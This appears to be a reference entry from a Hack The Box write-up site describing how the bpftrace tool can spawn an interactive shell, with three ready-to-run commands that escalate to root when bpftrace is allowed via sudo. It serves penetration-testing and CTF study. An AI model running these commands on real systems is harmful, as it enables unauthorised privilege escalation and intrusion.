~/bokkapig
hack the box machine writeups

bpftrace

Shell

This executable can spawn an interactive system shell.
  1. This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    bpftrace --unsafe -e 'BEGIN {system("/bin/sh 1<&0");exit()}'
  2. This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo 'BEGIN {system("/bin/sh 1<&0");exit()}' >/path/to/temp-file
bpftrace --unsafe /path/to/temp-file
  3. This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    bpftrace -c /bin/sh -e 'END {exit()}'